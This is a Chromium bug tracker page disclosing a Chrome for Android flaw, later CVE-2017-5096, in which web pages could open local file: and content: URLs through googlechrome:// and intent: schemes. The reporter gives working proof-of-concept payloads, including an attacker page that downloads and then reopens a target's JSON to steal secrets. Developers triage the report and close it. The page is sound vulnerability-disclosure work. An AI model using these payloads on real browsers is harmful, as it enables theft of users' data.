New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 3 users
Status: Fixed
Owner:
Closed: Apr 2017
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Android
Pri: 1
Type: Bug-Security



Sign in to add a comment
Security: Navigation from http: to file: etc. is possible (Android)
Reported by websec02...@gmail.com, Apr 23 2017 Back to list
VULNERABILITY DETAILS

<script>
location = 'googlechrome://navigate?url=file:///sdcard/Download/a.html';
</script>

// content:
location = 'googlechrome://navigate?url=content://com.android.chrome.FileProvider/downloads/a.html';

// view-source:
location = 'googlechrome://navigate?url=view-source:https://www.google.com/';

Other schemes like android-app: and intent: may be used for the attack.

Frankly, I'm not quite sure what the security impact of this bug is.
What comes to my mind at this moment is the following two attack scenarios.

1) Non-HTML data theft

Let's say http://target/json.php serves JSON content.

-- http://target/json.php ------
HTTP/1.1 200 OK
Content-Type: application/json; chraset=UTF-8
X-Content-Type-Options: nosniff

{"secret":"1234", "attacker-controlled":"<script>...</script>"}
--------------------------------

Here is an attacker's HTML.

-- http://attacker/ ------------
<a id=a0 href="http://target-host/json.php/a.html" download>link</a>
<script>
// Download the target file.
a0.click();

setTimeout(function() {
  // Navigate to the file with file: scheme.
  location = 'googlechrome://navigate?url=file:///sdcard/Download/a.html';
}, 2000);
</script>
--------------------------------

Once downloaded, all the meta data such as Content-Type is lost, so the downloaded JSON can be treated as HTML/JS.
In this attack, secret data in the JSON will be stolen.

2) Partial HTML data theft with CSS + UTF-16

In Chrome for Android v56 or earlier, the following attack works.

+ Attacker's page downloads both attack page (attack.html) and target page (target.html).
+ Navigate to file:///sdcard/Download/attack.html.
+ attack.html loads target.html as CSS with UTF-16 encoding.
  <link rel=stylesheet href=target.html charset=UTF-16>

If the attacker controls the content of target.html partially, he can get the subsequent part of the content.
You can find the details of CSS + UTF-16 attack at http://blog.innerht.ml/cross-origin-css-attacks-revisited-feat-utf-16/.
My PoC is at http://ws9.me/ft8jtv/ (The page triggering the attack is attached).

Attack 2 doesn't work on v57, where text/html contents are no longer downloaded to SD card.

Note that both attacks rely on the Chrome's feature, allowing cross-origin content download.


VERSION
Chrome for Android
56.0.2924.87 stable on Android 6.0.0.
57.0.2987.132 stable on Android 7.1.1.


REPRODUCTION CASE
See the description.

 
1.html
1.1 KB View Download
Comment 1 by meacer@chromium.org, Apr 25 2017
Thanks for the report.

I'm unable to reproduce the navigation part (location = 'googlechrome://navigate?url=file:///sdcard/Download/a.html';). I'm seeing "Navigation blocked: <url>" message (on M55). Are you able to reproduce on M55?
Comment 2 by meacer@chromium.org, Apr 25 2017
Labels: Needs-Feedback
Comment 3 by meacer@chromium.org, Apr 25 2017
Summary: Security: Navigation from http: to file: etc. is possible (Android) (was: Security: Navitation from http: to file: etc. is possible (Android))
Comment 4 by meacer@chromium.org, Apr 25 2017
Components: UI>Browser>Navigation
location = 'googlechrome://navigate?url=file:///sdcard/Download/a.html'

I confirmed this works on 55.0.2883.84 on Android 6.0.0, too.

Project Member Comment 6 by sheriffbot@chromium.org, Apr 25 2017
Cc: meacer@chromium.org
Labels: -Needs-Feedback
Thank you for providing more feedback. Adding requester "meacer@chromium.org" to the cc list and removing "Needs-Feedback" label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Comment 7 by meacer@chromium.org, Apr 25 2017
Components: Mobile>Intents
Labels: Security_Severity-High Security_Impact-Stable OS-Android
Owner: qin...@chromium.org
Status: Assigned
I tried on another device and was able to reproduce. This seems similar to  bug 659489 . Tentatively assigning high severity.

qinmin: Are you the right person for this bug? I'm not sure if it's an intents bug or a navigation bug.
Comment 8 by qin...@chromium.org, Apr 25 2017
Cc: sgu...@chromium.org palmer@chromium.org klo...@chromium.org rsesek@chromium.org creis@chromium.org
+some security folks
Comment 9 by qin...@chromium.org, Apr 25 2017
To me, this looks like an issue with intent. The googlechrome:// scheme is really troublesome, a possible fix is to disallow using googlechrome:// to open a local page (either content or file URI), but i am not sure whether that is enough.


Project Member Comment 10 by sheriffbot@chromium.org, Apr 25 2017
Labels: M-58
Project Member Comment 11 by sheriffbot@chromium.org, Apr 25 2017
Labels: Pri-1
I agree about restricting the googlechrome:// scheme. Do webpages ever need to be able to trigger it? It seems like only other apps on the device should be able to.

I did check that this technique can't be used to navigate to chrome://-scheme privileged pages.
a possible solution will be we check the app ID when IntentHandler.onNewIntent() is called, if it is from Chrome, we ignore it.

However, this craetes some wierd UI issue that user click on a link with googlechrome:// scheme, intent chooser(chrome beta/dev/stable) comes up, and nothing happens if user chooses the Chrome version he is using.
Rather than ignoring such an intent, we could just rewrite it to treat it as a normal renderer-initiated navigation.
wierd, i cannot consistently repro the issue, the intent doesn't launch today, i was able to repro it yesterday on the same device.
from the log, i saw 
"Navigation is blocked: googlechrome://navigate?url=file:///sdcard/Download/attack.html", source: file:///sdcard/1.html (0)", is there a finch experiment on frame loading? Or some recent change that already fixes the issue?

Comment 17 by meacer@google.com, Apr 25 2017
qinmin: Do you see "Navigation blocked" message in logcat? That's what I saw when I had trouble reproducing.
yes, see #16. I am using the same Chrome channel and didn't do any update between yesterday and today, so I am wondering whether this is caused by some finch configurations.
Comment 19 by nasko@chromium.org, Apr 25 2017
I don't know that it will make a difference, but the PlzNavigate project is in a field trial on Canary and Dev. If you have c68ab9a3-6edc92c7 in your chrome://version, then you have it enabled.
I am using stable, so it should be unrelated to PlzNavigate, and I couldn't find the the string in chrome://version
Hmm. Do URLs below work?

android-app://com.android.chrome/content/com.android.chrome.FileProvider/downloads/a.html
intent:content://com.android.chrome.FileProvider/downloads/a.html#Intent;package=com.android.chrome;end
intent:file:///sdcard/Download/a.html#Intent;SEL;package=com.android.chrome;action=android.intent.action.MAIN;end

All these were confirmed to work with <script>location=... on both
- 57.0.2987.132 stable android 7.1.1
- and 56.0.2924.87 stable android 6.0.0.

If location doesn't work, <a href= or <script>window.open may possibly work...

those URLs doesn't work for me either, I got the same "Navigation is blocked" error.
"Navigation is blocked" reproduced on my device.

It seems that, in the case of my PoC, we need to first visit http://ws9.me/ft8jtv/ then click the link to 1.html to make it work.
When directly visit http://ws9.me/ft8jtv/1.html, it doesn't work.

Transition type or something like that seems to be causing the difference.

for #23, i saw the same behavior on M57.

But when building from trunk, i saw both method won't work due to "Navigation is blocked".

So someone patched the fix recently to all transition types.
Nice, the bug was fixed then?
Status: Fixed
I think so, mark this as fixed, please reopen if this is still reproducible on dev.
It would be nice to find out which bug fixed this before closing. Can we bisect?
Chrome dev (v59.0.3071.25 for Android) on my phones still allows navigation to

intent:file:///sdcard/Download/a.html#Intent;SEL;package=com.chrome.dev;action=android.intent.action.MAIN;end
android-app://com.chrome.dev/content/com.chrome.dev.FileProvider/downloads/a.html

in <script>location= or <a href=.

Tested on Android 6.0.0 and 7.1.1.

Project Member Comment 29 by sheriffbot@chromium.org, Apr 29 2017
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Project Member Comment 30 by sheriffbot@chromium.org, May 1
Labels: Merge-Request-59
I tried the same dev version, still blocked, need to look at why this is blocked when i got time
Labels: reward-NA
Project Member Comment 33 by sheriffbot@chromium.org, May 2
Labels: -Merge-Request-59 Hotlist-Merge-Approved Merge-Approved-59
Your change meets the bar and is auto-approved for M59. Please go ahead and merge the CL to branch 3071 manually. Please contact milestone owner if you have questions.
Owners: amineer@(Android), cmasso@(iOS), gkihumba@(ChromeOS), Abdul Syed@(Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: -M-58 M-59
Project Member Comment 35 by sheriffbot@chromium.org, May 5
This issue has been approved for a merge. Please merge the fix to any appropriate branches as soon as possible!

If all merges have been completed, please remove any remaining Merge-Approved labels from this issue.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Cc: mariakhomenko@chromium.org yus...@chromium.org
I think I know why the navigation is blocked:

In https://cs.chromium.org/chromium/src/chrome/android/java/src/org/chromium/chrome/browser/externalnav/ExternalNavigationHandler.java?type=cs&l=240, Chrome returns NO_OVERRIDE because the intent is heading towards Chrome itself.

And then in https://cs.chromium.org/chromium/src/chrome/android/java/src/org/chromium/chrome/browser/tab/InterceptNavigationDelegateImpl.java?type=cs&q=shouldIgnoreNavigation&l=137, since the intent is external protocol, and Chrome doesn't want to override the url, the navigation is thus blocked.

However, I don't understand why the navigation works on some versions. Possibly someone is running a finch experiment that plays around navigation interception, and that bypasses the TabRedirectionHandler.

Adding some folks could possibly know this.
Cc: -palmer@chromium.org
Not aware of any experiments with TabRedirectHandler. However, this could perhaps be due to how the intent is set on the phones. We use intent.getPackage() (https://cs.chromium.org/chromium/src/chrome/android/java/src/org/chromium/chrome/browser/tab/TabRedirectHandler.java?rcl=da7c77096c29ccd804917018dc74bebd925e164a&l=98) to figured out if the intent is heading to Chrome, so perhaps in some cases that's not set?
Project Member Comment 39 by sheriffbot@chromium.org, May 8
This issue has been approved for a merge. Please merge the fix to any appropriate branches as soon as possible!

If all merges have been completed, please remove any remaining Merge-Approved labels from this issue.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
For #38, i don't think think that is the case. I was able to repro the issue on my nexus 6P for a couple times, then the next day I was unable to repro it anymore.

Since finch flags was not picked up on the first run, so my guess is that it is impacted by finch. Or could be a result of new Chrome version update which i didn't notice.
Labels: M-60
Labels: -Merge-Approved-59
Removing merge approval label since it doesn't appear that any CLs need merging in M59.  Please add back if I'm wrong.
Labels: -M-59
Labels: Release-0-M60
Labels: CVE-2017-5096
Project Member Comment 46 by sheriffbot@chromium.org, Aug 5
Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Sign in to add a comment